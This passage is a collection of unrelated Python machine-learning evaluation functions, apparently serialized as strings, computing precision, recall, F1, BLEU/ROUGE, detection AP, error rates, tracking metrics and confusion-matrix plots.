total_correct_in_all != 0:\n p, r, f1, s = precision_recall_fscore_support(label_true, label_pred, beta=1.0, labels=range(self.num_classes), average=None)\n total_s = np.sum(s)\n p_micro, r_micro, f1_micro, _ = precision_recall_fscore_support(label_true, label_pred, beta=1.0, labels=range(self.num_classes), average='micro')\n last_lines_heading = ['macro / total', 'weighted_mac / total', 'micro / total']\n target_names = self.classes\n name_width = max(len(cn) for cn in target_names)\n width = max(name_width, max([len(x) for x in last_lines_heading]), digits)\n\n headers = [\"precision\", \"recall\", \"f1-score\", \"support\"]\n head_fmt = u'{:>{width}s} ' + u' {:>9}' * len(headers)\n report = head_fmt.format(u'', *headers, width=width)\n report += u'\\n\\n'\n row_fmt = u'{:>{width}s} ' + u' {:>9.{digits}f}' * 3 + u' {:>9}\\n'\n rows = zip(target_names, p, r, f1, s)\n for row in rows:\n label_weights.append(row[4])\n report += row_fmt.format(*row, width=width, digits=digits)\n metrics['P_{}'.format(row[0])] = (1, row[1])\n metrics['R_{}'.format(row[0])] = (1, row[2])\n metrics['F1_{}'.format(row[0])] = (1, row[3])\n report += u'\\n'\n\n # compute macro averages\n p_macro = np.average(p, weights = None)\n r_macro = np.average(r, weights = None)\n f1_macro = np.average(f1, weights = None)\n metrics['P_{}'.format(\"macro\")] = (1, p_macro)\n metrics['R_{}'.format(\"macro\")] = (1, r_macro)\n metrics['F1_{}'.format(\"macro\")] = (1, f1_macro)\n report += row_fmt.format(last_lines_heading[0],\n p_macro,\n r_macro,\n f1_macro,\n total_s,\n width=width, digits=digits)\n\n # compute weighted macro average\n label_weights = map(lambda x : x/(total_s * 1.0), label_weights)\n p_weighted_average = np.average(p, weights = label_weights)\n r_weighted_average = np.average(r, weights = label_weights)\n f1_weighted_average = np.average(f1, weights = label_weights)\n metrics['P_{}'.format(\"weighted_macro\")] = (1, p_weighted_average)\n metrics['R_{}'.format(\"weighted_macro\")] = (1, r_weighted_average)\n metrics['F1_{}'.format(\"weighted_macro\")] = (1, f1_weighted_average)\n report += row_fmt.format(last_lines_heading[1],\n p_weighted_average,\n r_weighted_average,\n f1_weighted_average,\n total_s,\n width=width, digits=digits)\n # micro average\n metrics['P_{}'.format(\"micro\")] = (1, p_micro)\n metrics['R_{}'.format(\"micro\")] = (1, r_micro)\n metrics['F1_{}'.format(\"micro\")] = (1, f1_micro)\n report += row_fmt.format(last_lines_heading[2],\n p_micro,\n r_micro,\n f1_micro,\n total_s,\n width=width, digits=digits)\n\n self.logger.info(\"P,R,F1 report as follows:\\n {}\".format(report))\n # only plot it at dev and test time, not during training.\n if self.gen_confusing_matrix:\n\n self.logger.info(\"Generate confusing matrix photo.\")\n # Compute confusion matrix\n conf_matrix = confusion_matrix(label_true, label_pred)\n np.set_printoptions(precision=2)\n\n # Plot non-normalized confusion matrix\n plt.figure()\n self.plot_confusion_matrix(conf_matrix, classes=self.brief_classes,\n title='Confusion matrix when seq labeling, without normalization')\n wo_norm_fig_path = os.path.join(self.result_dir, '{}_wo_norm.png'.format(self.result_prefix))\n plt.savefig(wo_norm_fig_path)\n\n # Plot normalized confusion matrix\n plt.figure()\n self.plot_confusion_matrix(conf_matrix, classes=self.brief_classes, normalize=True,\n title='Normalized confusion matrix when seq labeling')\n\n norm_fig_path = os.path.join(self.result_dir, '{}_w_norm.png'.format(self.result_prefix))\n plt.savefig(norm_fig_path)\n\n else:\n self.logger.warn('invalid total_correct_in_all')\n\n return metrics","def evaluate(self) -> Dict[str, Any]:\n kwargs = {\"ids\": self._ids}\n return {\n metric.value: self._metric_funcs[metric](\n self._targets, self._preds, **kwargs\n )\n for metric in self._metrics\n }","def get_eval_metric_ops(targets, predictions, tensors):\n # TODO(seominjoon): yp should also consider no answer case.\n yp1 = tf.expand_dims(predictions['yp1'], -1)\n yp2 = tf.expand_dims(predictions['yp2'], -1)\n answer_mask = tf.sequence_mask(targets['num_answers'])\n start_correct = tf.reduce_any(\n tf.equal(targets['word_answer_starts'], yp1) & answer_mask, 1)\n end_correct = tf.reduce_any(\n tf.equal(targets['word_answer_ends'], yp2) & answer_mask, 1)\n correct = start_correct & end_correct\n em = tf.py_func(\n _enum_fn(_exact_match_score, dtype='float32'), [\n predictions['a'], targets['answers'], predictions['has_answer'],\n answer_mask\n ], 'float32')\n f1 = tf.py_func(\n _enum_fn(_f1_score, dtype='float32'), [\n predictions['a'], targets['answers'], predictions['has_answer'],\n answer_mask\n ], 'float32')\n\n eval_metric_ops = {\n 'acc1': tf.metrics.mean(tf.cast(start_correct, 'float')),\n 'acc2': tf.metrics.mean(tf.cast(end_correct, 'float')),\n 'acc': tf.metrics.mean(tf.cast(correct, 'float')),\n 'em': tf.metrics.mean(em),\n 'f1': tf.metrics.mean(f1),\n }\n\n for key in tensors:\n if key.startswith('skim_rate_'):\n skim_rate = tf.py_func(\n _enum_fn(\n lambda x: x,\n dtype='float32'), [tensors[key]], 'float32')\n eval_metric_ops[key] = tf.metrics.mean(skim_rate)\n\n return eval_metric_ops","def compute_score(predictions, references, vocab=None, beam_size=4):\n assert np.rank(predictions) == 3\n assert predictions.shape[0] == references.shape[0]\n batch_size = predictions.shape[0]\n predictions = tf.make_ndarray(tf.make_tensor_proto(predictions)).tolist()\n references = tf.make_ndarray(tf.make_tensor_proto(references)).tolist()\n hypotheses_list = []\n references_list = []\n\n for index in range(batch_size):\n # All predictions in beam search are used for validation scores.\n for b_index in range(beam_size):\n h = predictions[index][b_index]\n try:\n eos_index = h.index(input_utils.EOS)\n except ValueError:\n eos_index = len(h)\n hypotheses_list.append(h[:eos_index])\n\n ref = references[index][0].decode().split('|')\n ref_list = [r.strip().split(' ') for r in ref if r.strip()]\n references_list.append(ref_list)\n\n all_scores = collections.defaultdict(list)\n for hypothesis, references in zip(hypotheses_list, references_list):\n if vocab is not None and len(vocab):\n # Skip PADDING, UNK, EOS, START (0-3).\n hypothesis = [\n vocab[word_id].numpy().decode()\n for word_id in hypothesis\n if word_id > 3\n ]\n\n h_str = ' '.join(str(e) for e in hypothesis)\n r_str = [' '.join(str(e) for e in ref) for ref in references]\n\n print('hypothesis: ', str(h_str))\n print('references: ', str(r_str))\n print('\\n')\n scores = screen2words_eval.coco_evaluate(r_str, h_str)\n for key, score in scores.items():\n all_scores[key].append(score)\n score_names = [\n 'BLEU-1', 'BLEU-2', 'BLEU-3', 'BLEU-4', 'ROUGE-1-f1-mean',\n 'ROUGE-1-f1-min', 'ROUGE-1-f1-max', 'ROUGE-2-f1-mean', 'ROUGE-2-f1-min',\n 'ROUGE-2-f1-max', 'ROUGE-L-f1-mean', 'ROUGE-L-f1-min', 'ROUGE-L-f1-max'\n ]\n\n return [np.array(all_scores[name], dtype=np.float32) for name in score_names]","def test_run_experiment_lr_eval_with_dictionary(self):\n source = \"lr-eval-dict\"\n experiment_id = \"lr_eval_dict\"\n\n # set up a temporary directory since\n # we will be using getcwd\n temp_dir = tempfile.TemporaryDirectory(prefix=getcwd())\n\n old_file_dict = {\"pred\": \"data/files/predictions_scaled_with_subgroups.csv\"}\n\n new_file_dict = copy_data_files(temp_dir.name, old_file_dict, rsmtool_test_dir)\n\n config_dict = {\n \"predictions_file\": new_file_dict[\"pred\"],\n \"system_score_column\": \"score\",\n \"description\": \"An evaluation of LinearRegression predictions.\",\n \"human_score_column\": \"h1\",\n \"id_column\": \"id\",\n \"experiment_id\": \"lr_eval_dict\",\n \"subgroups\": \"QUESTION\",\n \"scale_with\": \"asis\",\n \"trim_min\": 1,\n \"trim_max\": 6,\n }\n\n check_run_evaluation(source, experiment_id, config_obj_or_dict=config_dict)","def eval_metrics_for_multiclass(self, predicted_answers):\n total_correct_in_all = 0\n total_pred_in_all = len(predicted_answers)\n # initial a dict for total correct in topK counting.\n total_correct_in_topK = dict([(i, 0) for i in self.topK_list])\n total_pred_in_topK = dict([(i, 0) for i in self.topK_list])\n max_topK = max(self.topK_list)\n label_pred = []\n label_true = []\n label_weights = []\n digits = 3\n metrics = {}\n\n for e_id, sample in predicted_answers.iteritems():\n # get all correct ids\n correct_label_indices = sample['correct_labels']\n # current case, we only have a majority lable for the correct label\n label_true.append(correct_label_indices[0])\n # counting all correct for each sample\n total_correct_in_all += len(correct_label_indices)\n # select topK\n sorted_probs_max_topK = sorted(sample['pred_probs'], reverse=True, key=lambda x: x['prob'])[:max_topK]\n top1_pred = sorted_probs_max_topK[0]\n label_pred.append(top1_pred['label_index'])\n\n # for all topK predictions\n for i in range(len(sorted_probs_max_topK)):\n pred = sorted_probs_max_topK[i]\n for topK in self.topK_list:\n if i >= topK:\n continue\n else:\n total_pred_in_topK[topK] += 1\n if pred['label_index'] in correct_label_indices:\n total_correct_in_topK[topK] += 1\n\n if total_correct_in_all != 0:\n # recall@K\n recall_at_K = dict([(k, total_correct_in_topK[k] / (total_correct_in_all * 1.0)) for k in self.topK_list])\n # assign recall@K into metrics\n for k, v in recall_at_K.items():\n # Jie\n # 1 means the greater the better.\n # -1 means the smaller the better.\n metrics['R@{}'.format(k)] = (1, v)\n\n self.logger.info('total_correct_in_all = {}, correct_in_topK = {}, recall@K = {}'.format(total_correct_in_all, sorted(total_correct_in_topK.items()), sorted(recall_at_K.items())))\n # here return all the p,r,f for each label, then we compute the micro average later.\n p, r, f1, s = precision_recall_fscore_support(label_true, label_pred, beta=1.0, labels=range(self.num_classes), average=None)\n total_s = np.sum(s)\n p_micro, r_micro, f1_micro, _ = precision_recall_fscore_support(label_true, label_pred, beta=1.0, labels=range(self.num_classes), average='micro')\n last_lines_heading = ['macro / total', 'weighted_mac / total', 'micro / total']\n target_names = self.classes\n name_width = max(len(cn) for cn in target_names)\n width = max(name_width, max([len(x) for x in last_lines_heading]), digits)\n\n headers = [\"precision\", \"recall\", \"f1-score\", \"support\"]\n head_fmt = u'{:>{width}s} ' + u' {:>9}' * len(headers)\n report = head_fmt.format(u'', *headers, width=width)\n report += u'\\n\\n'\n row_fmt = u'{:>{width}s} ' + u' {:>9.{digits}f}' * 3 + u' {:>9}\\n'\n rows = zip(target_names, p, r, f1, s)\n for row in rows:\n label_weights.append(row[4])\n report += row_fmt.format(*row, width=width, digits=digits)\n metrics['P_{}'.format(row[0])] = (1, row[1])\n metrics['R_{}'.format(row[0])] = (1, row[2])\n metrics['F1_{}'.format(row[0])] = (1, row[3])\n report += u'\\n'\n\n # compute macro averages\n p_macro = np.average(p, weights = None)\n r_macro = np.average(r, weights = None)\n f1_macro = np.average(f1, weights = None)\n metrics['P_{}'.format(\"macro\")] = (1, p_macro)\n metrics['R_{}'.format(\"macro\")] = (1, r_macro)\n metrics['F1_{}'.format(\"macro\")] = (1, f1_macro)\n report += row_fmt.format(last_lines_heading[0],\n p_macro,\n r_macro,\n f1_macro,\n total_s,\n width=width, digits=digits)\n\n # compute weighted macro average\n label_weights = map(lambda x : x/(total_s * 1.0), label_weights)\n p_weighted_average = np.average(p, weights = label_weights)\n r_weighted_average = np.average(r, weights = label_weights)\n f1_weighted_average = np.average(f1, weights = label_weights)\n metrics['P_{}'.format(\"weighted_macro\")] = (1, p_weighted_average)\n metrics['R_{}'.format(\"weighted_macro\")] = (1, r_weighted_average)\n metrics['F1_{}'.format(\"weighted_macro\")] = (1, f1_weighted_average)\n report += row_fmt.format(last_lines_heading[1],\n p_weighted_average,\n r_weighted_average,\n f1_weighted_average,\n total_s,\n width=width, digits=digits)\n # micro average\n metrics['P_{}'.format(\"micro\")] = (1, p_micro)\n metrics['R_{}'.format(\"micro\")] = (1, r_micro)\n metrics['F1_{}'.format(\"micro\")] = (1, f1_micro)\n report += row_fmt.format(last_lines_heading[2],\n p_micro,\n r_micro,\n f1_micro,\n total_s,\n width=width, digits=digits)\n\n self.logger.info(\"P,R,F1 report as follows:\\n {}\".format(report))\n # only plot it at dev and test time, not during training.\n if self.gen_confusing_matrix:\n\n self.logger.info(\"Generate confusing matrix photo.\")\n # Compute confusion matrix\n conf_matrix = confusion_matrix(label_true, label_pred)\n np.set_printoptions(precision=2)\n\n # Plot non-normalized confusion matrix\n plt.figure()\n self.plot_confusion_matrix(conf_matrix, classes=self.brief_classes, ori_fmt='d',\n title='Confusion matrix, without normalization')\n wo_norm_fig_path = os.path.join(self.result_dir, '{}_wo_norm.png'.format(self.result_prefix))\n plt.savefig(wo_norm_fig_path)\n\n # Plot normalized confusion matrix\n plt.figure()\n self.plot_confusion_matrix(conf_matrix, classes=self.brief_classes, ori_fmt='d', normalize=True,\n title='Normalized confusion matrix')\n\n norm_fig_path = os.path.join(self.result_dir, '{}_w_norm.png'.format(self.result_prefix))\n plt.savefig(norm_fig_path)\n\n else:\n self.logger.warn('invalid total_correct_in_all')\n\n return metrics","def evaluate_model(estimator: es.Estimator, speech_labels: List[str], entries, input_fn_eval) -> Dict[str, float]:\n # Get predictions\n predictions = estimator.predict(input_fn=input_fn_eval)\n\n # Get probabilities of each predicted class\n probs = [pred[\"probabilities\"] for pred in predictions]\n num_of_examples = len(probs)\n targets = [entry[1] for entry in entries] # The ground truth transcript\n\n total_wer, total_cer = 0., 0.\n greedy_decoder = decoder.DeepSpeechDecoder(speech_labels, blank_index=28)\n for prob, target in zip(probs, targets):\n decode = greedy_decoder.decode(prob)\n total_cer += greedy_decoder.cer(decode, target)\n total_wer += greedy_decoder.wer(decode, target)\n\n total_cer /= num_of_examples\n total_wer /= num_of_examples\n global_step = estimator.get_variable_value(tf.GraphKeys.GLOBAL_STEP)\n eval_results = {\n _WER_KEY: total_wer,\n _CER_KEY: total_cer,\n tf.GraphKeys.GLOBAL_STEP: global_step\n }\n return eval_results","def eval_det(pred_all, gt_all, ovthresh=0.25, use_07_metric=False):\n pred = {} # map {classname: pred}\n gt = {} # map {classname: gt}\n for img_id in pred_all.keys():\n for classname, bbox, score in pred_all[img_id]:\n if classname not in pred: pred[classname] = {}\n if img_id not in pred[classname]:\n pred[classname][img_id] = []\n if classname not in gt: gt[classname] = {}\n if img_id not in gt[classname]:\n gt[classname][img_id] = []\n pred[classname][img_id].append((bbox,score))\n for img_id in gt_all.keys():\n for classname, bbox in gt_all[img_id]:\n if classname not in gt: gt[classname] = {}\n if img_id not in gt[classname]:\n gt[classname][img_id] = []\n gt[classname][img_id].append(bbox)\n\n rec = {}\n prec = {}\n ap = {}\n for classname in gt.keys():\n print('Computing AP for class: ', classname)\n rec[classname], prec[classname], ap[classname] = eval_det_cls(pred[classname], gt[classname], ovthresh, use_07_metric)\n print(classname, ap[classname])\n \n return rec, prec, ap","def aggregate(file_list, method):\n\n model.eval()\n predictions = []\n true_labels = []\n\n for file in file_list:\n tile_paths, label = tile_dict[file]\n\n folder = classes[label]\n\n def add_folder(tile_path):\n if tile_path == '':\n return ''\n else:\n return folder + '/' + tile_path\n\n # Add the folder for the class name in front\n add_folder_v = np.vectorize(add_folder)\n tile_paths = add_folder_v(tile_paths)\n\n # Get the probability array for the file\n prob_v = np.vectorize(get_tile_probability, otypes=[np.ndarray])\n probabilities = prob_v(tile_paths)\n\n\n \"\"\"\n imgSize = probabilities.shape()\n newShape = (imgSize[0], imgSize[1], 3)\n probabilities = np.reshape(np.stack(probabilities.flat), newShape)\n \"\"\"\n\n if method == 'average':\n probabilities = np.stack(probabilities.flat)\n prediction = np.nanmean(probabilities, axis = 0)\n\n elif method == 'max':\n probabilities = np.stack(probabilities.flat)\n probabilities = probabilities[~np.isnan(probabilities).all(axis=1)]\n votes = np.nanargmax(probabilities, axis=1)\n out = np.array([ sum(votes == 0) , sum(votes == 1) , sum(votes == 2)])\n prediction = out / out.sum()\n\n else:\n raise ValueError('Method not valid')\n\n predictions.append(prediction)\n true_labels.append(label)\n\n return np.array(predictions), np.array(true_labels)","def compute_metrics(self, results: Sequence[Dict]) -> Dict:\n\n preds = []\n gts = []\n for result in results:\n preds.append(result['pred_labels'])\n gts.append(result['gt_labels'])\n preds = torch.cat(preds)\n gts = torch.cat(gts)\n\n assert preds.max() < self.num_classes\n assert gts.max() < self.num_classes\n\n cared_labels = preds.new_tensor(self.cared_labels, dtype=torch.long)\n\n hits = (preds == gts)[None, :]\n preds_per_label = cared_labels[:, None] == preds[None, :]\n gts_per_label = cared_labels[:, None] == gts[None, :]\n\n tp = (hits * preds_per_label).float()\n fp = (~hits * preds_per_label).float()\n fn = (~hits * gts_per_label).float()\n\n result = {}\n if 'macro' in self.mode:\n result['macro_f1'] = self._compute_f1(\n tp.sum(-1), fp.sum(-1), fn.sum(-1))\n if 'micro' in self.mode:\n result['micro_f1'] = self._compute_f1(tp.sum(), fp.sum(), fn.sum())\n\n return result","def compute_precision(gold_dict, src_word2ind, trg_word2ind, src_words, trg_words, scores, args, BATCH_SIZE=20, verbose = False):\n oov = set()\n correct = 0\n n,m = scores.shape # The actual size of mapping computed, might be smaller that total size of dict\n\n precisions = {}\n if verbose:\n print('@{:2} {:10} {:30} {:30}'.format('k', 'Src','Predicted','Gold'))\n print_row = '{:2} {:10} {:30} {:30} {}'\n\n for k in [1,5,10]:\n correct = 0\n for src_idx,tgt_idx in gold_dict.items():\n if src_idx > n or np.all([e>m for e in tgt_idx]):#Src word not in mapping\n oov.add(src_idx)\n continue\n else:\n knn = np.argpartition(scores[src_idx,:], -k)[-k:] # argpartition returns top k not in order\n knn_sort = knn[np.argsort(-scores[src_idx,knn])] # With - to get descending order\n if set(knn_sort).intersection(tgt_idx):\n correct +=1\n correct_string = ' '\n else:\n correct_string = 'X'\n if verbose:\n src_str = src_words[src_idx]\n pred_str = ','.join([trg_words[k] for k in knn_sort])\n gold_str = ','.join([trg_words[k] for k in tgt_idx])\n print(print_row.format(k,src_str,pred_str,gold_str,correct_string))\n\n\n coverage = len(gold_dict.keys()) / (len(gold_dict.keys()) + len(oov))\n if verbose:\n print('Coverage: {:7.2%} Precision @{:2}:{:7.2%}'.format(coverage, k, correct / len(gold_dict)))\n precisions[k] = correct / len(gold_dict)\n return precisions","def evaluate(self, eval_batches, result_dir=None, result_prefix=None, save_full_info=False):\n pred_answers, ref_answers = [], []\n total_loss, total_num = 0, 0\n for b_itx, batch in enumerate(eval_batches):\n feed_dict = {self.p: batch['passage_token_ids'],\n self.q: batch['question_token_ids'],\n self.p_char: batch['passage_char_ids'],\n self.q_char: batch['question_char_ids'],\n self.p_length: batch['passage_length'],\n self.q_length: batch['question_length'],\n self.start_label: batch['start_id'],\n self.end_label: batch['end_id'],\n self.dropout_keep_prob: 1.0}\n start_probs, end_probs, loss = self.sess.run([self.start_probs,\n self.end_probs, self.loss], feed_dict)\n\n total_loss += loss * len(batch['raw_data'])\n total_num += len(batch['raw_data'])\n\n padded_p_len = len(batch['passage_token_ids'][0])\n for sample, start_prob, end_prob in zip(batch['raw_data'], start_probs, end_probs):\n\n best_answer = self.find_best_answer(sample, start_prob, end_prob, padded_p_len)\n if save_full_info:\n sample['pred_answers'] = [best_answer]\n pred_answers.append(sample)\n else:\n pred_answers.append({'question_id': sample['question_id'],\n 'question_type': sample['question_type'],\n 'answers': [best_answer],\n 'entity_answers': [[]],\n 'yesno_answers': []})\n if 'answers' in sample:\n ref_answers.append({'question_id': sample['question_id'],\n 'question_type': sample['question_type'],\n 'answers': sample['answers'],\n 'entity_answers': [[]],\n 'yesno_answers': []})\n\n if result_dir is not None and result_prefix is not None:\n result_file = os.path.join(result_dir, result_prefix + '.json')\n with open(result_file, 'w') as fout:\n for pred_answer in pred_answers:\n fout.write(json.dumps(pred_answer, ensure_ascii=False) + '\\n')\n\n self.logger.info('Saving {} results to {}'.format(result_prefix, result_file))\n\n # this average loss is invalid on test set, since we don't have true start_id and end_id\n ave_loss = 1.0 * total_loss / total_num\n # compute the bleu and rouge scores if reference answers is provided\n if len(ref_answers) > 0:\n pred_dict, ref_dict = {}, {}\n for pred, ref in zip(pred_answers, ref_answers):\n question_id = ref['question_id']\n if len(ref['answers']) > 0:\n pred_dict[question_id] = normalize(pred['answers'])\n ref_dict[question_id] = normalize(ref['answers'])\n bleu_rouge = compute_bleu_rouge(pred_dict, ref_dict)\n else:\n bleu_rouge = None\n return ave_loss, bleu_rouge","def evaluate(gold: List[Instance], pred: List[Instance], exact: bool) -> Dict[str, Tuple[int, int, int]]:\n # Initialize to zeros\n gold_score = np.zeros(len(gold))\n pred_score = np.zeros(len(pred))\n\n for idx, (pos, label) in enumerate(gold):\n for idx2, (pos2, label2) in enumerate(pred):\n if label == label2:\n if overlap(pos, pos2, exact):\n gold_score[idx] = 1\n pred_score[idx2] = 1\n # This ensures we only count one pred correctly for each gold.\n if gold_score[idx]:\n continue\n\n gold_labels = np.asarray([x[1] for x in gold])\n pred_labels = np.asarray([x[1] for x in pred])\n\n # Get the label set.\n label_set = set(gold_labels) | set(pred_labels)\n\n scores = {}\n for label in label_set:\n subset_gold = gold_score[gold_labels == label]\n subset_index = pred_score[pred_labels == label]\n tp = subset_gold.sum()\n fn = len(subset_gold) - tp\n fp = (subset_index == 0).sum()\n scores[label] = np.array([tp, fp, fn])\n\n return scores","def _compute_metrics(hits_or_lcs: int, pred_len: int, target_len: int) ->Dict[str, Tensor]:\n precision = hits_or_lcs / pred_len\n recall = hits_or_lcs / target_len\n if precision == recall == 0.0:\n return dict(precision=tensor(0.0), recall=tensor(0.0), fmeasure=tensor(0.0))\n fmeasure = 2 * precision * recall / (precision + recall)\n return dict(precision=tensor(precision), recall=tensor(recall), fmeasure=tensor(fmeasure))","def evaluate_tracking(self) -> Dict[str, Any]:\n eval_scenes = create_splits_scenes(verbose=False)[self.eval_set]\n for scene in tqdm(eval_scenes, disable=not self.verbose):\n scene = self.nusc.get('scene', self.scene_name2tok[scene])\n cur_token, last_token = scene['first_sample_token'], scene['last_sample_token']\n pred_sem, pred_inst, label_sem, label_inst = [None], [None], [None], [None]\n\n while True:\n cur_sample = self.nusc.get('sample', cur_token)\n sd_token = cur_sample['data']['LIDAR_TOP']\n\n # Load the ground truth labels for the point cloud, filter evaluation classes.\n gt_label_file = os.path.join(self.nusc.dataroot, self.nusc.get('panoptic', sd_token)['filename'])\n panoptic_label = load_bin_file(gt_label_file, type='panoptic')\n label_sem.append(self.mapper.convert_label(panoptic_label // 1000))\n label_sem = label_sem[-2:]\n label_inst.append(panoptic_label)\n label_inst = label_inst[-2:]\n\n # Load predictions for the point cloud, filter evaluation classes.\n pred_file = os.path.join(self.results_folder, 'panoptic', self.eval_set, sd_token + '_panoptic.npz')\n panoptic_pred = load_bin_file(pred_file, type='panoptic')\n pred_sem.append(panoptic_pred // 1000)\n pred_sem = pred_sem[-2:]\n pred_inst.append(panoptic_pred)\n pred_inst = pred_inst[-2:]\n\n # Get the confusion matrix between the ground truth and predictions. Update the confusion matrix for\n # the sample data into the confusion matrix for the eval set.\n self.evaluator['tracking'].add_batch(scene['name'], pred_sem, pred_inst, label_sem, label_inst)\n if cur_token == last_token:\n break\n cur_token = cur_sample['next']\n\n pat, mean_pq, mean_tq = self.evaluator['tracking'].get_pat()\n mean_ptq, class_all_ptq, mean_sptq, class_all_sptq = self.evaluator['tracking'].get_ptq()\n mean_iou, class_all_iou = self.evaluator['tracking'].getSemIoU()\n lstq, s_assoc = self.evaluator['tracking'].get_lstq()\n mean_motsa, mean_s_motsa, mean_motsp = self.evaluator['tracking'].get_motsa()\n\n results = self.wrap_result_mopt(pat=pat,\n mean_pq=mean_pq,\n mean_tq=mean_tq,\n mean_ptq=mean_ptq,\n class_all_ptq=class_all_ptq,\n mean_sptq=mean_sptq,\n class_all_sptq=class_all_sptq,\n mean_iou=mean_iou,\n class_all_iou=class_all_iou,\n lstq=lstq,\n s_assoc=s_assoc,\n mean_motsa=mean_motsa,\n mean_s_motsa=mean_s_motsa,\n mean_motsp=mean_motsp)\n\n return results","def evaluate(model, test_files):\n print(\"Running predictions.\")\n models = load_model(model)\n predictions = predict(models, test_files)\n\n # # write predictions to file\n # write_predictions(\"evaluate_out.json\",predictions)\n evaluate_individual(predictions, test_files, models)\n evaluate_overall(predictions)","def run_main():\n # Matching lines against a matcher function.\n matched_lines = match_file(file_names, matcher)\n\n # Will contain data sorted by file.\n binned_data = {}\n\n # Looking through the lines that were inserted into the metrics file via the metrics component.\n for key in matched_lines:\n\n # Grabbing matched lines by the file or orgination.\n buffer = matched_lines[key]\n\n # This will contain dictionaries converted from JSON.\n data = []\n\n # Loop through the collection, appending data converted from JSON entries.\n for line in buffer:\n data.append(extract_data(line))\n\n # Sort the data by file.\n binned_data[key] = sort_data(data)\n\n # Output the final results.\n generate_statistics(binned_data)\n return 0","def eval(self):\n target_truth_labels = self.get_target_labels()\n for key in self.id_uncertainty_measures.keys():\n # deep copy needed as we mutate confidence values later on\n decision_fn_value = np.concatenate((copy.deepcopy(self.id_uncertainty_measures[key]),\n copy.deepcopy(self.ood_uncertainty_measures[key])),\n axis=0)\n # negation needed for confidence, as confidence is indicator of label=0 samples\n # i.e for correct classified samples.\n # But we need scores for label=1 samples i.e misclassified samples\n # to be higher, so we negate.\n if key == UncertaintyMeasuresEnum.CONFIDENCE or key == UncertaintyMeasuresEnum.PRECISION:\n decision_fn_value *= -1.0\n\n aupr, auroc = ClassifierPredictionEvaluator.compute_pr_roc_curves(\n decision_fn_value, target_truth_labels, self.result_dir, key._value_)\n\n with open(os.path.join(self.result_dir, 'results.txt'), 'a') as f:\n f.write('AUPR using ' + key._value_ + \": \" +\n str(np.round(aupr * 100.0, 1)) + '\\n')\n f.write('AUROC using ' + key._value_ + \": \" +\n str(np.round(auroc * 100.0, 1)) + '\\n')","def eval_detection(gt_mask, r, n_classes=1):\n ids = np.unique(r['class_ids'])\n merged_masks = {}\n qualities = dict([(i,0) for i in range(1, n_classes+1)])\n\n for i in ids:\n merged_masks[i] = (np.zeros_like(r['masks'][:,:,0]) > 0)\n n_masks = r['masks'].shape[-1]\n for c in range(n_masks):\n if i != r['class_ids'][c] or r['scores'][c] < .7:\n continue\n\n mask = r['masks'][:,:,c]\n merged_masks[i] |= mask\n\n gt_mask_i = (gt_mask[:,:,i-1] > 0)\n intersection = gt_mask_i & merged_masks[i]\n union = gt_mask_i | merged_masks[i]\n qualities[i] = np.sum(intersection) / np.sum(union)\n \n return qualities, merged_masks","def build_eval_metrics(self, predict_ids, labels, nwords, params):\n raise NotImplementedError()","def evaluate_iterations(predictions, gold, result_collector, condition):\n for iteration_id, texts in predictions.items():\n texts_in_iteration = sorted(texts)\n gold_trees = [gold[tid] for tid in texts_in_iteration]\n pred_trees = [texts[tid] for tid in texts_in_iteration]\n for level, scores in eval_prediction(gold_trees, pred_trees):\n result_collector.add_result(condition, iteration_id, level, scores)","def make_metrics(self, predictions):\n\n pred_idx = []\n pred_classes = []\n\n target_idx = []\n target_classes = []\n target_count = len(self._dataset.class_idx2text)\n\n for data_id, pred in predictions.items():\n target = self._dataset.get_ground_truth(data_id)\n\n pred_idx.append(pred[\"class_idx\"])\n pred_classes.append(self._dataset.class_idx2text[pred[\"class_idx\"]])\n\n target_idx.append(target[\"class_idx\"])\n target_classes.append(target[\"class_text\"])\n\n metrics = {\n \"accuracy\": simple_accuracy(pred_idx, target_idx),\n }\n\n if target_count == 2:\n # binary class\n f1_metric = f1(pred_idx, target_idx)\n metrics.update(f1_metric)\n\n matthews_corr_metric = matthews_corr(pred_idx, target_idx)\n metrics.update(matthews_corr_metric)\n return metrics","def evaluate_model(self, predictions, expected, bypass_data_to_eval):\n\n result = []\n for i, unique_id in enumerate(np.squeeze(expected[\"unique_ids\"])):\n start_logits = predictions['tf_electra_for_question_answering'][i]\n start_top_index = predictions['tf_electra_for_question_answering_1'\n ][i]\n end_logits = predictions['tf_electra_for_question_answering_2'][i]\n end_top_index = predictions['tf_electra_for_question_answering_3'][i\n ]\n cls_logits = predictions['tf_electra_for_question_answering_4'][i]\n\n result.append(\n SquadResult(\n unique_id,\n start_logits.tolist(),\n end_logits.tolist(),\n start_top_index=start_top_index.tolist(),\n end_top_index=end_top_index.tolist(),\n cls_logits=cls_logits.tolist(),\n )\n )\n\n dev_features = bypass_data_to_eval[\"dev_features\"]\n dev_examples = bypass_data_to_eval[\"dev_examples\"]\n\n answers, nbest_answers = get_answers(\n dev_examples, dev_features, result, self._args\n )\n\n output_prediction_file = os.path.join(\n self._args.output_dir, \"predictions.json\"\n )\n output_nbest_file = os.path.join(\n self._args.output_dir, \"nbest_predictions.json\"\n )\n\n with open(output_prediction_file, \"w\") as f:\n f.write(json.dumps(answers, indent=4) + \"\\n\")\n with open(output_nbest_file, \"w\") as f:\n f.write(json.dumps(nbest_answers, indent=4) + \"\\n\")\n\n if self._args.version_2_with_negative:\n dev_file = \"dev-v2.0.json\"\n eval_file = \"evaluate-v2.0.py\"\n else:\n dev_file = \"dev-v1.1.json\"\n eval_file = \"evaluate-v1.1.py\"\n\n command_str = (\n f\"{sys.executable} {os.path.join(self._args.data_dir, eval_file)} \"\n f\"{os.path.join(self._args.data_dir, dev_file)} \"\n f\"{output_prediction_file}\"\n )\n\n logging.debug(f\"\\nExecuting: `{command_str}`\\n\")\n\n eval_out = subprocess.check_output(shlex.split(command_str))\n\n # scores: {'exact_match': 87.06717123935667, 'f1': 92.78048326711645}\n scores = json.loads(eval_out.decode(\"UTF-8\").strip())\n\n logging.debug(\"scores:\", scores)\n\n metric_units = \"f1\"\n\n return scores[metric_units], metric_units","def test(self, test_fn, eval_metrics):\n # Load gold and predict\n X, Y = self.load_dataset(test_fn)\n y = self.model.predict(X)\n\n # Get most probable predictions and flatten\n Y = RNN_model.consolidate_labels(self.transform_output_probs(Y).flatten())\n y = RNN_model.consolidate_labels(self.transform_output_probs(y).flatten())\n\n # Run evaluation metrics and report\n # TODO: is it possible to compare without the padding?\n ret = []\n for (metric_name, metric_func) in eval_metrics:\n ret.append((metric_name, metric_func(Y, y)))\n logging.debug(\"calculating {}\".format(ret[-1]))\n\n for (metric_name, metric_val) in ret:\n logging.info(\"{}: 